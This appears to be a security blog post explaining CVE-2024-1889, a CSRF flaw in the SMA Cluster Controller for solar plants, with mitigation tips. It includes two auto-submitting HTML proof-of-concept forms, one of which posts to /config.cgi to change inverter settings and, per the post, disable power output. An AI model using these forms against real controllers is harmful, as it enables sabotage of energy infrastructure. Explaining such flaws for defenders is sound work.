The world of tech is always on the lookout for new security threats. Today, we’re taking a closer look at CVE-2024-1889, a Cross-Site Request Forgery (CSRF) vulnerability in the SMA Cluster Controller. If your system is running version 01.05.01.R, you need to understand this flaw — and how an attacker could exploit it to hijack your session and act in your name.

What is CVE-2024-1889?

CVE-2024-1889 is a CSRF vulnerability discovered in the SMA Cluster Controller, a device used to monitor and control solar power plants. This bug is present in software version 01.05.01.R.

A successful exploitation allows an attacker to trick an authenticated user (someone already logged in) into clicking a specially crafted link, which causes their device to execute commands with their permissions without their knowledge.

How Does CSRF Work Here?

Imagine you’re logged into your SMA controller dashboard. If you were to click on a bad link (sent by email, chat, or posted to a forum), the device would process a request as if you had made it. You wouldn’t even notice—unless something bad happened, like changes in system settings or data being altered.

The vulnerability exists because the controller web interface does not verify where requests are coming from—or ensure they were intentionally sent by the user (i.e., it lacks CSRF tokens).

Official advisory:
- Original vendor advisory (SMA)

- NVD Entry for CVE-2024-1889

1. Attacker Prepares a Malicious Webpage

This page might look innocent, but it contains code that automatically makes a POST request once loaded.

<html>
<body>
<h1>Welcome, please see our offer!</h1>
<!-- Hidden exploit: -->
<form id="csrf" action="http://victim-cluster-controller/config.cgi"; method="POST">
  <input type="hidden" name="param1" value="badvalue">
  <input type="hidden" name="param2" value="exploit">
  <!-- Add more parameters as needed -->
</form>
<script>
  document.getElementById('csrf').submit();
</script>
</body>
</html>

2. Target (Admin user) is Authenticated

The admin is already logged in to their controller at http://victim-cluster-controller/.

They visit the malicious page (via phishing email, private message, or malicious ad), and their browser—since it shares the cookie/session—performs the action against the controller without prompting the user.

4. Controller Executes the Action

Because there is no CSRF protection, the device trusts the request and makes configuration changes or executes commands as if the real admin performed them.

Suppose the configuration page at /config.cgi allows changing solar inverter parameters

<form id="csrf" action="http://192.168.1.50/config.cgi"; method="POST">
  <input type="hidden" name="max_output" value=""> <!-- Disables output! -->
</form>
<script>
  document.getElementById('csrf').submit();
</script>

If an attacker sends the legitimate user (logged in!) to this page, it silently disables the solar inverter output. The attacker can tweak the form fields to adjust any setting they want.

- Restrict Network Access: Never expose the SMA Cluster Controller web interface directly to the internet.
- Logout When Finished: End your session/start a new browser session, especially on critical devices.
- Check Vendor Advisories: SMA support & announcements or their security bulletins.

- The device lacks CSRF protection, so any malicious POST/GET request is trusted.

Real-world threat: Admins could accidentally change settings or open up their plant for sabotage!

- PATCH your device, or if you can’t, lock down network access and practice safe browsing hygiene.

Stay Safe!

For more technical details, see the original NIST NVD entry and keep an eye on the vendor's support page.


*This post is written exclusively for our readers to raise practical awareness of real threats and help technical teams take immediate action.*

Timeline

Published on: 02/26/2024 16:27:55 UTC
Last modified on: 02/26/2024 16:32:25 UTC